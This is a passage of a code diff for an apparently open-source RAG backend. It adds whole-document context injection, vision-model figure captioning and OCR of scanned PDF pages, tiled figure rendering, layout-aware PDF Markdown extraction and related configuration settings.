-        logger.warning("RAG auto-inject retrieval failed: %s", exc)
-        return None
-    if not found:
-        logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
+
+    # Whole-document mode: a thread-attached file under budget is injected in full so
+    # the model reads everything. A KB selection is exclusive, so whole-doc never
+    # preempts it; in a project chat the project sources are still retrieved top-K and
+    # appended under one citation numbering. Oversized files (or no thread doc) fall
+    # through to the combined top-K retrieval below.
+    if whole_doc_requested:
+        try:
+            budget = _whole_doc_budget(rag_scope, conversation)
+
+            whole = whole_document_context(
+                scope_thread_id = thread_id,
+                max_tokens = budget,
+            )
+        except Exception as exc:  # noqa: BLE001
+            logger.warning("RAG whole-document context failed: %s", exc)
+            whole = None
+        if whole is not None:
+            text, sources = whole
+            project_id = rag_scope.get("project_id")
+            if project_id:
+                try:
+                    proj = search_for_autoinject(
+                        query = query,
+                        scope_project_id = project_id,
+                        top_k = top_k,
+                        min_dense_score = floor,
+                        **_scope_retrieval_kwargs(rag_scope),
+                    )
+                except Exception as exc:  # noqa: BLE001
+                    logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc)
+                    proj = None
+                if proj is not None:
+                    merged = sources + proj[1]
+                    merged_text = render_sources(merged)
+                    if max(1, len(merged_text) // 4) <= budget:
+                        sources = merged
+                        text = merged_text
+            logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources))
+
+    if text is None and enabled:
+        try:
+            found = search_for_autoinject(
+                query = query,
+                scope_kb_id = rag_scope.get("kb_id"),
+                scope_thread_id = rag_scope.get("thread_id"),
+                scope_project_id = rag_scope.get("project_id"),
+                top_k = top_k,
+                min_dense_score = floor,
+                **_scope_retrieval_kwargs(rag_scope),
+            )
+        except Exception as exc:  # noqa: BLE001
+            logger.warning("RAG auto-inject retrieval failed: %s", exc)
+            return None
+        if not found:
+            logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
+            return None
+        text, sources = found
+    if text is None:
         return None
 
-    text, sources = found
     import json as _json
     import uuid as _uuid
 
@@ -1236,7 +1341,7 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
             "content": text,
         },
     ]
-    logger.info("RAG auto-inject: %d passage(s) >= %.2f for %r", len(sources), floor, query[:80])
+    logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80])
     return {"events": events, "messages": messages}
 
 
diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py
index be8e341064..e29c9c9a7a 100644
--- a/studio/backend/core/rag/captioner.py
+++ b/studio/backend/core/rag/captioner.py
@@ -1,9 +1,12 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Caption figures with the loaded vision model and splice the text into the page
-so images are searchable via the normal FTS5 + dense path. No-op (never raises)
-without a vision model or on failure; gated by ``config.CAPTION_IMAGES``."""
+"""Vision-model helpers for ingestion: figure captioning and scanned-page OCR.
+
+Both turn pixels into indexable text and are a no-op (never raise) without a loaded
+vision model. They reuse the chat model's vision endpoint, so it must be served with
+``--ubatch-size`` >= one image's tokens (some encoders, e.g. Gemma, attend
+non-causally and abort otherwise); Studio's vision chat already requires this."""
 
 from __future__ import annotations
 
@@ -15,11 +18,54 @@ from . import config
 logger = logging.getLogger(__name__)
 
 _CAPTION_PROMPT = (
-    "Describe this figure or image from a document in one or two concise "
-    "sentences, for search indexing. State what it depicts (e.g. a diagram, "
-    "chart, table or photo) and its key content. Do not add commentary."
+    "Read this figure or image from a document for search indexing.\n"
+    "First, on a line 'TEXT:', transcribe every piece of visible text exactly as "
+    "written, in reading order: the title, axis labels and units, legend and series "
+    "names, EVERY box / node / arrow label, table headers and cells, equations, and "
+    "footnotes. List each distinct label even if it is small.\n"
+    "Then, on a line 'SUMMARY:', add one or two sentences on what it shows (chart "
+    "type and trend, diagram subject, table topic, or photo content).\n"
+    "Report only what is visible. Transcribe exactly; do not invent or guess any "
+    "text, label, or number."
 )
 
+_OCR_PROMPT = (
+    "Transcribe all text on this document page exactly as it appears, in reading "
+    "order, including any text inside figures, diagrams, charts, and tables (keep "
+    "table rows readable). Output only the transcribed text, with no commentary or "
+    "code fences. Preserve headings, lists, and line breaks. If the page has no "
+    "readable text, output nothing."
+)
+
+
+def _collapse_runaway(
+    text: str,
+    max_repeat: int = 3,
+    max_total: int = 8,
+) -> str:
+    """Cap runaway repetition: vision models sometimes loop a line many times. Keep
+    each distinct line to ``max_repeat`` in a row and ``max_total`` total, and collapse
+    blank-line floods, so a degenerate page cannot flood the index."""
+    out: list[str] = []
+    seen: dict[str, int] = {}
+    prev: str | None = None
+    run = 0
+    for line in text.splitlines():
+        key = line.strip()
+        if not key:
+            if prev == "":  # collapse runs of blank lines to a single separator
+                continue
+            prev = ""
+            out.append("")
+            continue
+        run = run + 1 if key == prev else 1
+        prev = key
+        seen[key] = seen.get(key, 0) + 1
+        if run > max_repeat or seen[key] > max_total:
+            continue
+        out.append(line)
+    return "\n".join(out)
+
 
 def vision_endpoint() -> tuple[str, str] | None:
     """``(base_url, model)`` for a loaded vision GGUF model, else None."""
@@ -33,7 +79,28 @@ def vision_endpoint() -> tuple[str, str] | None:
     return None
 
 
-def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
+def _vision_auth_headers() -> dict | None:
+    """Bearer header for the backend's API, or None. Vision calls share the chat
+    endpoint, so they need the same key under direct-stream (``--api-key``) mode."""
+    try:
+        from routes.inference import get_llama_cpp_backend
+        return get_llama_cpp_backend()._auth_headers or None
+    except Exception:  # noqa: BLE001 - auth discovery must never break ingestion
+        return None
+
+
+def _vision_complete(
+    base_url: str,
+    model: str,
+    image_bytes: bytes,
+    *,
+    prompt: str,
+    timeout: float,
+    max_tokens: int,
+    temperature: float = 0.0,
+) -> str | None:
+    """One image-in / text-out call to the loaded vision model's OpenAI-compatible
+    endpoint. Returns the stripped text or ``None`` on empty/failure (non-fatal)."""
     import httpx
 
     data_url = "data:image/png;base64," + base64.b64encode(image_bytes).decode("ascii")
@@ -43,33 +110,62 @@ def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float)
             {
                 "role": "user",
                 "content": [
-                    {"type": "text", "text": _CAPTION_PROMPT},
+                    {"type": "text", "text": prompt},
                     {"type": "image_url", "image_url": {"url": data_url}},
                 ],
             }
         ],
-        "max_tokens": 200,
-        "temperature": 0.2,
+        "max_tokens": max_tokens,
+        # Deterministic by default: transcription must not randomly drop labels.
+        "temperature": temperature,
         "stream": False,
         # Off: thinking models would spend the budget reasoning, returning "".
         "chat_template_kwargs": {"enable_thinking": False},
     }
     try:
-        r = httpx.post(f"{base_url}/v1/chat/completions", json = payload, timeout = timeout)
+        r = httpx.post(
+            f"{base_url}/v1/chat/completions",
+            json = payload,
+            timeout = timeout,
+            headers = _vision_auth_headers(),
+        )
         r.raise_for_status()
         text = r.json()["choices"][0]["message"]["content"]
         return text.strip() or None
-    except Exception:  # noqa: BLE001 - a failed caption is non-fatal
-        logger.debug("caption request failed", exc_info = True)
+    except Exception:  # noqa: BLE001 - a failed vision call is non-fatal
+        logger.debug("vision request failed", exc_info = True)
         return None
 
 
+def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
+    return _vision_complete(
+        base_url,
+        model,
+        image_bytes,
+        prompt = _CAPTION_PROMPT,
+        timeout = timeout,
+        max_tokens = config.CAPTION_MAX_TOKENS,
+    )
+
+
+def _ocr_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
+    return _vision_complete(
+        base_url,
+        model,
+        image_bytes,
+        prompt = _OCR_PROMPT,
+        timeout = timeout,
+        max_tokens = config.OCR_MAX_TOKENS,
+    )
+
+
 def caption_images(
     images: list, *, endpoint: tuple[str, str] | None = None
 ) -> dict[int, list[str]]:
-    """Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when
-    disabled, no vision model, or no images. Bounded by ``CAPTION_MAX_IMAGES``."""
-    if not config.CAPTION_IMAGES or not images:
+    """Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when there
+    are no images or no vision model. The caller (`ingestion._run`) owns the on/off
+    policy. Bounded by ``CAPTION_MAX_IMAGES``; each caption passes ``_collapse_runaway``."""
+    if not images:
         return {}
     ep = endpoint or vision_endpoint()
     if ep is None:
@@ -84,7 +180,50 @@ def caption_images(
         caption = _caption_one(base_url, model, image_bytes, config.CAPTION_TIMEOUT_S)
         if caption:
             page = getattr(img, "page_number", None) or 0
-            out.setdefault(int(page), []).append(caption)
+            out.setdefault(int(page), []).append(_collapse_runaway(caption))
+    return out
+
+
+def ocr_pages(
+    page_pngs: dict[int, bytes], *, endpoint: tuple[str, str] | None = None
+) -> dict[int, str]:
+    """OCR rendered page PNGs (keyed by 1-based page number) to text; ``{}`` when there
+    is no vision model or no pages. The caller (`ingestion._ocr_scanned_pages`) owns the
+    on/off policy. Bounded by ``OCR_MAX_PAGES``."""
+    if not page_pngs:
+        return {}
+    ep = endpoint or vision_endpoint()
+    if ep is None:
+        return {}
+    base_url, model = ep
+
+    out: dict[int, str] = {}
+    for page_num in sorted(page_pngs)[: config.OCR_MAX_PAGES]:
+        text = _ocr_one(base_url, model, page_pngs[page_num], config.OCR_TIMEOUT_S)
+        if text:
+            out[int(page_num)] = _collapse_runaway(text)
+    return out
+
+
+def merge_page_captions(captions: dict[int, list[str]]) -> dict[int, list[str]]:
+    """Merge a page's per-tile captions into one deduped block: drop lines repeated
+    across overlapping tiles (first kept, order preserved), then ``_collapse_runaway``,
+    so ``splice_captions`` adds a single figure block per page."""
+    out: dict[int, list[str]] = {}
+    for page, caps in captions.items():
+        seen: set[str] = set()
+        lines: list[str] = []
+        for cap in caps:
+            for line in (cap or "").splitlines():
+                stripped = line.strip()
+                key = stripped.lower()
+                if not stripped or key in seen:
+                    continue
+                seen.add(key)
+                lines.append(stripped)
+        merged = _collapse_runaway("\n".join(lines))
+        if merged.strip():
+            out[page] = [merged]
     return out
 
 
diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py
index 993423683c..54a224d081 100644
--- a/studio/backend/core/rag/config.py
+++ b/studio/backend/core/rag/config.py
@@ -17,13 +17,50 @@ TOP_K_DENSE = int(os.environ.get("RAG_TOP_K_DENSE", "30"))
 TOP_K_HYBRID = int(os.environ.get("RAG_TOP_K_HYBRID", "10"))
 RRF_K = int(os.environ.get("RAG_RRF_K", "60"))
 
-UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
+# Whole-document context: a thread-attached file under the token budget is injected
+# in full (every chunk, in order) instead of top-K retrieval; above it, use retrieval.
+THREAD_WHOLE_DOC = os.environ.get("RAG_THREAD_WHOLE_DOC", "1") == "1"
+WHOLE_DOC_MAX_TOKENS = int(os.environ.get("RAG_WHOLE_DOC_MAX_TOKENS", "6000"))
 
-# Figure captioning via the loaded vision model; off by default since each caption
-# is a model call. MAX_IMAGES bounds per-doc cost.
-CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "0") == "1"
-CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "8"))
-CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "30"))
+UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
+# Reject uploads larger than this, so one pathological file can't drive unbounded parse
+# + vision work at ingest. 0 disables the cap. Default 200 MB.
+MAX_UPLOAD_BYTES = int(os.environ.get("RAG_MAX_UPLOAD_BYTES", str(200 * 1024 * 1024)))
+
+# Extract PDF text as layout-aware Markdown (pymupdf4llm) instead of flat text, so
+# tables, headings and lists survive into chunks and retrieval. Falls back to plain
+# PyMuPDF text when off, when pymupdf4llm is missing, or when extraction fails.
+PDF_MARKDOWN = os.environ.get("RAG_PDF_MARKDOWN", "1") == "1"
+
+# Figure captioning via the loaded vision model: detected figures are transcribed +
+# described so they become searchable. On by default, a no-op without a vision model;
+# the chat's "Describe figures & charts" toggle overrides it per upload.
+CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "1") == "1"
+# Total per-document tile budget (figure-bearing pages are tiled, see below).
+CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "24"))
+CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "60"))
+# Larger than a one-line caption since captions transcribe every label. FIGURE_DPI is
+# high enough to keep small box/axis labels legible when tiles are rendered.
+CAPTION_MAX_TOKENS = int(os.environ.get("RAG_CAPTION_MAX_TOKENS", "768"))
+FIGURE_DPI = int(os.environ.get("RAG_FIGURE_DPI", "200"))
+# Figure pages are tiled into an overlapping ROWS x COLS grid of high-DPI tiles (plus
+# an optional full page), so small labels and every sub-figure are covered without
+# exact region detection. MAX_PAGES bounds figure pages; MAX_IMAGES bounds total tiles.
+FIGURE_TILE_ROWS = int(os.environ.get("RAG_FIGURE_TILE_ROWS", "2"))
+FIGURE_TILE_COLS = int(os.environ.get("RAG_FIGURE_TILE_COLS", "2"))
+FIGURE_TILE_OVERLAP = float(os.environ.get("RAG_FIGURE_TILE_OVERLAP", "0.12"))
+FIGURE_FULLPAGE = os.environ.get("RAG_FIGURE_FULLPAGE", "1") == "1"
+CAPTION_MAX_PAGES = int(os.environ.get("RAG_CAPTION_MAX_PAGES", "4"))
+
+# Scanned-PDF OCR: a page with little extractable text is rendered and transcribed by
+# the vision model so it becomes searchable. Needs a vision model, else skipped (page
+# stays empty). MIN_CHARS is the text length below which a page is treated as scanned.
+OCR_SCANNED = os.environ.get("RAG_OCR_SCANNED", "1") == "1"
+OCR_MIN_CHARS = int(os.environ.get("RAG_OCR_MIN_CHARS", "16"))
+OCR_MAX_PAGES = int(os.environ.get("RAG_OCR_MAX_PAGES", "20"))
+OCR_DPI = int(os.environ.get("RAG_OCR_DPI", "150"))
+OCR_TIMEOUT_S = float(os.environ.get("RAG_OCR_TIMEOUT_S", "60"))
+OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048"))
 
 # Embedder backend. "auto": sentence-transformers on a CUDA/ROCm GPU (torch fp16
 # wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes
diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py
index 77bbdc92f5..04365ab76b 100644
--- a/studio/backend/core/rag/ingestion.py
+++ b/studio/backend/core/rag/ingestion.py
@@ -99,25 +99,108 @@ def _embed_all(texts: list[str], model_name: str | None):
     return vectors
 
 
+def _ocr_scanned_pages(
+    pages: list,
+    stored_path: str,
+    conn,
+    job_id: str,
+    ocr: bool | None = None,
+) -> tuple[list, set[int]]:
+    """Replace text on near-empty (scanned/image-only) PDF pages with vision-model OCR
+    so image PDFs become searchable. ``ocr`` overrides ``config.OCR_SCANNED`` per upload
+    (``None`` = config default); no-op without scanned pages or a vision model. OCR'd
+    pages have no text layer, so no preview highlight regions, but stay searchable.
+    Returns ``(pages, ocred)``: new ``Page`` objects for OCR'd pages (originals
+    otherwise) and the set of page numbers actually transcribed."""
+    if not (config.OCR_SCANNED if ocr is None else ocr):
+        return pages, set()
+    scanned = [
+        p.page_number
+        for p in pages
+        if p.page_number is not None and len((p.text or "").strip()) < config.OCR_MIN_CHARS
+    ]
+    if not scanned or captioner.vision_endpoint() is None:
+        return pages, set()
+    if len(scanned) > config.OCR_MAX_PAGES:
+        logger.warning(
+            "OCR: %d scanned pages exceed OCR_MAX_PAGES=%d; pages past the cap stay "
+            "untranscribed (raise RAG_OCR_MAX_PAGES to cover them)",
+            len(scanned),
+            config.OCR_MAX_PAGES,
+        )
+    scanned = scanned[: config.OCR_MAX_PAGES]
+    _progress(conn, job_id, "ocr", 0.25)
+    page_pngs = parsers.render_pdf_pages(stored_path, scanned, dpi = config.OCR_DPI)
+    texts = captioner.ocr_pages(page_pngs)
+    if not texts:
+        return pages, set()
+
+    from .parsers import Page
+
+    out: list = []
+    ocred: set[int] = set()
+    for page in pages:
+        text = texts.get(page.page_number)
+        if text:
+            original = (page.text or "").strip()
+            merged = text if not original or original in text else f"{original}\n\n{text}"
+            out.append(Page(text = merged, page_number = page.page_number, char_count = len(merged)))
+            ocred.add(page.page_number)
+        else:
+            out.append(page)
+    return out, ocred
+
+
 def _run(
-    job_id: str, document_id: str, scope: str, stored_path: str, model_name: str | None
+    job_id: str,
+    document_id: str,
+    scope: str,
+    stored_path: str,
+    model_name: str | None,
+    ocr: bool | None = None,
+    caption: bool | None = None,
 ) -> None:
     conn = rag_db.get_connection()
     try:
         _progress(conn, job_id, "parsing", 0.1)
         pages = parsers.parse(stored_path)
-        if config.CAPTION_IMAGES and stored_path.lower().endswith(".pdf"):
-            # Caption figures, splice into page text (no-op without a vision model).
+        is_pdf = stored_path.lower().endswith(".pdf")
+        ocred: set[int] = set()
+        if is_pdf:
+            pages, ocred = _ocr_scanned_pages(pages, stored_path, conn, job_id, ocr = ocr)
+        caption_on = config.CAPTION_IMAGES if caption is None else caption
+        # Skip all figure work (PDF rasterization included) without a vision model.
+        if caption_on and is_pdf and captioner.vision_endpoint() is not None:
+            # Tile figure pages, transcribe+describe each tile, then merge/dedup/splice
+            # into the page text so small labels and every sub-figure are captured.
             try:
-                figures = parsers.render_pdf_figures(
-                    stored_path, max_figures = config.CAPTION_MAX_IMAGES
+                fig_pages = parsers.pages_with_figures(
+                    stored_path,
+                    max_pages = config.CAPTION_MAX_PAGES,
+                    # Skip only pages OCR actually transcribed (it covers them whole); a
+                    # scanned figure page past the OCR cap or with empty OCR still tiles.
+                    exclude_pages = ocred,
+                )
+                tiles = (
+                    parsers.render_pdf_figure_tiles(
+                        stored_path,
+                        fig_pages,
+                        dpi = config.FIGURE_DPI,
+                        rows = config.FIGURE_TILE_ROWS,
+                        cols = config.FIGURE_TILE_COLS,
+                        overlap = config.FIGURE_TILE_OVERLAP,
+                        fullpage = config.FIGURE_FULLPAGE,
+                        max_tiles = config.CAPTION_MAX_IMAGES,
+                    )
+                    if fig_pages
+                    else []
                 )
             except Exception:
-                logger.warning("figure rendering failed for job %s", job_id, exc_info = True)
-                figures = []
-            if figures:
-                _progress(conn, job_id, "captioning", 0.2)
-                captions = captioner.caption_images(figures)
+                logger.warning("figure tiling failed for job %s", job_id, exc_info = True)
+                tiles = []
+            if tiles:
+                _progress(conn, job_id, "captioning", 0.28)
+                captions = captioner.merge_page_captions(captioner.caption_images(tiles))
                 pages = captioner.splice_captions(pages, captions)
 
         _progress(conn, job_id, "chunking", 0.3)
@@ -175,6 +258,8 @@ def start_ingestion(
     *,
     project_id: str | None = None,
     model_name: str | None = None,
+    ocr: bool | None = None,
+    caption: bool | None = None,
 ) -> tuple[str, str]:
     """Create the document + job rows and spawn the worker, returning
     ``(document_id, job_id)``. A duplicate content hash in this scope returns the
@@ -191,13 +276,26 @@ def start_ingestion(
     try:
         existing = store.document_by_hash(conn, scope, sha)
         if existing is not None:
-            job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
-            _remove_upload(stored_path)
-            with _jobs_lock:
-                _jobs[job_id] = queue.Queue()
-            _emit(job_id, {"type": "complete", "num_chunks": 0, "deduped": True})
-            _emit(job_id, None)
-            return existing, job_id
+            doc = store.get_document(conn, existing)
+            empty_completed = (
+                doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks")
+            )
+            if empty_completed:
+                # A prior ingest of identical bytes yielded zero chunks (e.g. a scanned
+                # PDF uploaded before a vision model loaded). Re-ingest, don't dedupe.
+                store.delete_document(conn, existing)
+                _remove_upload(doc.get("stored_path"), keep_path = stored_path)
+            else:
+                job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
+                _remove_upload(stored_path)
+                with _jobs_lock:
+                    _jobs[job_id] = queue.Queue()
+                _emit(
+                    job_id,
+                    {"type": "complete", "num_chunks": doc.get("num_chunks") or 0, "deduped": True},
+                )
+                _emit(job_id, None)
+                return existing, job_id
         for failed in store.failed_documents_by_hash(conn, scope, sha):
             store.delete_document(conn, failed["id"])
             _remove_upload(failed.get("stored_path"), keep_path = stored_path)
@@ -221,7 +319,7 @@ def start_ingestion(
         _jobs[job_id] = queue.Queue()
     threading.Thread(
         target = _run,
-        args = (job_id, document_id, scope, stored_path, model_name),
+        args = (job_id, document_id, scope, stored_path, model_name, ocr, caption),
         daemon = True,
     ).start()
     return document_id, job_id
@@ -339,10 +437,16 @@ def job_events(job_id: str):
 
 
 def get_job_status(job_id: str) -> dict | None:
-    """Read the persisted ingestion job row (status / stage / progress / error)."""
+    """Read the persisted ingestion job row (status / stage / progress / error), plus
+    the document's ``num_chunks`` so a client polling to completion learns the chunk
+    count (the SSE ``complete`` frame carries it, but the poll/reconcile path does not)."""
     conn = rag_db.get_connection()
     try:
-        row = conn.execute("SELECT * FROM ingestion_jobs WHERE id=?", (job_id,)).fetchone()
+        row = conn.execute(
+            "SELECT j.*, d.num_chunks AS num_chunks FROM ingestion_jobs j "
+            "LEFT JOIN documents d ON d.id = j.document_id WHERE j.id=?",
+            (job_id,),
+        ).fetchone()
         return dict(row) if row else None
     finally:
         conn.close()
diff --git a/studio/backend/core/rag/locators.py b/studio/backend/core/rag/locators.py
index 57c0487486..9331bb15ac 100644
--- a/studio/backend/core/rag/locators.py
+++ b/studio/backend/core/rag/locators.py
@@ -39,9 +39,11 @@ def _norm_token(token: str) -> str:
 
 def _anchor_tokens(page_text: str, match: LocatorMatch) -> list[str]:
     """Normalized anchor tokens from the chunk's leading span. Drops first and last
-    token (boundaries often slice mid-word) when long enough."""
+    token (boundaries often slice mid-word) when long enough. Pipes are split out so
+    Markdown table cells (``|Q1|$1.2M|``) become individual words that match the PDF
+    word stream."""
     segment = page_text[match.start : match.end]
-    raw = segment.split()
+    raw = segment.replace("|", " ").split()
     if len(raw) >= MIN_ANCHOR_WORDS + 2:
         raw = raw[1:-1]
     tokens = [t for t in (_norm_token(w) for w in raw) if t]
diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py
index 84da941762..ba248cf9a6 100644
--- a/studio/backend/core/rag/parsers.py
+++ b/studio/backend/core/rag/parsers.py
@@ -15,6 +15,8 @@ import os
 from dataclasses import dataclass
 from html.parser import HTMLParser
 
+from . import config
+
 logger = logging.getLogger(__name__)
 
 
@@ -67,6 +69,28 @@ def _html(raw: str) -> list[Page]:
     return [_page("\n".join(parser.out), 1)]
 
 
+def _pdf_markdown(doc) -> list[str] | None:
+    """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
+    i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
+    page count does not line up, so the caller falls back to plain PyMuPDF text."""
+    try:
+        import pymupdf4llm
+    except Exception:
+        return None
+    try:
+        chunks = pymupdf4llm.to_markdown(
+            doc,
+            page_chunks = True,
+            show_progress = False,
+        )
+    except Exception:  # noqa: BLE001 - never let Markdown extraction break ingestion
+        logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True)
+        return None
+    if not isinstance(chunks, list) or len(chunks) != doc.page_count:
+        return None
+    return [str(c.get("text") or "") for c in chunks]
+
+
 def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
     import fitz  # PyMuPDF
 
@@ -74,8 +98,11 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
     images: list[ParsedImage] = []
     doc = fitz.open(path)
     try:
+        md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
         for i, page in enumerate(doc):
-            text = page.get_text("text") or ""
+            # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval);
+            # fall back to plain text when Markdown is off, unavailable, or empty here.
+            text = (md[i] if md else "") or page.get_text("text") or ""
             pages.append(_page(text, i + 1))
             if want_images:
                 for img in page.get_images(full = True):
@@ -118,63 +145,164 @@ def _merge_rects(boxes: list) -> list:
     return merged
 
 
-def render_pdf_figures(
-    path: str,
+def _figure_boxes(
+    page,
     *,
-    dpi: int = 130,
     min_area_frac: float = 0.04,
     min_side: float = 40.0,
-    max_figures: int = 8,
-) -> list[ParsedImage]:
-    """Detect figure regions and render each to a PNG for captioning.
+) -> list:
+    """Qualifying figure-region rectangles on a page: cluster vector drawings + raster
+    placements, merge overlaps, keep the page-spanning ones (area/side filtered)."""
+    boxes: list = []
+    try:
+        boxes.extend(info["bbox"] for info in page.get_image_info())
+    except Exception:
+        pass
+    try:
+        boxes.extend(page.cluster_drawings())
+    except Exception:
+        pass
+    if not boxes:
+        return []
+    page_area = page.rect.width * page.rect.height
+    keep: list = []
+    for box in _merge_rects(boxes):
+        if (
+            box.get_area() >= min_area_frac * page_area
+            and box.width >= min_side
+            and box.height >= min_side
+        ):
+            keep.append(box)
+    return keep
 
-    Academic figures are vector, so raster extraction yields fragments; instead
-    cluster vector drawings + raster placements into boxes, keep the page-spanning
-    ones, and render them. Any failure yields [], never an exception.
-    """
+
+def pages_with_figures(
+    path: str,
+    *,
+    max_pages: int = 4,
+    min_area_frac: float = 0.04,
+    min_side: float = 40.0,
+    exclude_pages: set[int] | None = None,
+) -> list[int]:
+    """1-based page numbers with a qualifying figure region, capped at ``max_pages``;
+    drives figure tiling. ``exclude_pages`` (1-based) are skipped: those are the pages
+    OCR already transcribed whole, so tiling them would duplicate the vision work. Any
+    failure yields []."""
+    exclude = exclude_pages or set()
     try:
         import pymupdf
     except Exception:
         return []
-
-    out: list[ParsedImage] = []
     try:
         doc = pymupdf.open(path)
     except Exception:
         return []
+    pages: list[int] = []
     try:
         for i, page in enumerate(doc):
-            boxes: list = []
-            try:
-                boxes.extend(info["bbox"] for info in page.get_image_info())
-            except Exception:
-                pass
-            try:
-                boxes.extend(page.cluster_drawings())
-            except Exception:
-                pass
-            if not boxes:
+            if (i + 1) in exclude:
                 continue
-            page_area = page.rect.width * page.rect.height
-            for box in _merge_rects(boxes):
-                if (
-                    box.get_area() >= min_area_frac * page_area
-                    and box.width >= min_side
-                    and box.height >= min_side
-                ):
-                    try:
-                        pix = page.get_pixmap(dpi = dpi, clip = box)
-                        out.append(
-                            ParsedImage(
-                                image_bytes = pix.tobytes("png"),
-                                page_number = i + 1,
-                                xref = 0,
-                            )
+            if _figure_boxes(page, min_area_frac = min_area_frac, min_side = min_side):
+                pages.append(i + 1)
+                if len(pages) >= max_pages:
+                    break
+        return pages
+    finally:
+        doc.close()
+
+
+def render_pdf_figure_tiles(
+    path: str,
+    page_numbers,
+    *,
+    dpi: int = 200,
+    rows: int = 2,
+    cols: int = 2,
+    overlap: float = 0.12,
+    fullpage: bool = True,
+    max_tiles: int = 24,
+) -> list[ParsedImage]:
+    """Render figure-bearing pages as overlapping high-DPI tiles (plus an optional full
+    page), each a ``ParsedImage`` keyed by page number. Tiling keeps small labels legible
+    and covers every sub-figure without exact region detection. Any failure yields []."""
+    wanted = [int(n) for n in page_numbers]
+    if not wanted:
+        return []
+    rows, cols = max(1, int(rows)), max(1, int(cols))  # never divide by zero
+    try:
+        import pymupdf
+    except Exception:
+        return []
+    try:
+        doc = pymupdf.open(path)
+    except Exception:
+        return []
+    out: list[ParsedImage] = []
+    try:
+        for num in wanted:
+            if num < 1 or num > doc.page_count:
+                continue
+            page = doc[num - 1]
+            rect = page.rect
+            clips: list = [rect] if fullpage else []
+            cw, ch = rect.width / cols, rect.height / rows
+            ox, oy = cw * overlap, ch * overlap
+            for r in range(rows):
+                for c in range(cols):
+                    clips.append(
+                        pymupdf.Rect(
+                            rect.x0 + c * cw - ox,
+                            rect.y0 + r * ch - oy,
+                            rect.x0 + (c + 1) * cw + ox,
+                            rect.y0 + (r + 1) * ch + oy,
                         )
-                    except Exception:
-                        continue
-                    if len(out) >= max_figures:
-                        return out
+                        & rect
+                    )
+            for clip in clips:
+                try:
+                    pix = page.get_pixmap(dpi = dpi, clip = clip)
+                    out.append(ParsedImage(image_bytes = pix.tobytes("png"), page_number = num, xref = 0))
+                except Exception:
+                    continue
+                if len(out) >= max_tiles:
+                    return out
+        return out
+    finally:
+        doc.close()
+
+
+def render_pdf_pages(
+    path: str,
+    page_numbers,
+    *,
+    dpi: int = 150,
+) -> dict[int, bytes]:
+    """Render whole PDF pages (given as 1-based numbers) to PNG bytes, keyed by
+    page number. Backs scanned-page OCR. Any failure yields ``{}`` (or skips that
+    page), never an exception.
+    """
+    wanted = {int(n) for n in page_numbers}
+    if not wanted:
+        return {}
+    try:
+        import pymupdf
+    except Exception:
+        return {}
+    try:
+        doc = pymupdf.open(path)
+    except Exception:
+        return {}
+    out: dict[int, bytes] = {}
+    try:
+        for i, page in enumerate(doc):
+            num = i + 1
+            if num not in wanted:
+                continue
+            try:
+                pix = page.get_pixmap(dpi = dpi)
+                out[num] = pix.tobytes("png")
+            except Exception:
+                continue
         return out
     finally:
         doc.close()
diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py
index 7d58931e53..8e59c5fbf6 100644
--- a/studio/backend/core/rag/store.py
+++ b/studio/backend/core/rag/store.py
@@ -292,3 +292,40 @@ def chunks_by_id(conn: sqlite3.Connection, ids) -> dict:
         list(ids),
     ).fetchall()
     return {r["id"]: r for r in rows}
+
+
+def all_chunks_for_scope(conn: sqlite3.Connection, scope) -> list[dict]:
+    """Every completed-document chunk for a scope, ordered document-then-index and
+    joined with the document filename. Backs whole-document context injection, so
+    it does no retrieval or embedding."""
+    scopes = _scopes(scope)
+    if not scopes:
+        return []
+    placeholders = ",".join("?" * len(scopes))
+    rows = conn.execute(
+        f"SELECT c.id, c.text, c.document_id, c.chunk_index, c.page_number, "
+        f"c.token_count, d.filename, d.created_at "
+        f"FROM chunks c JOIN documents d ON d.id=c.document_id "
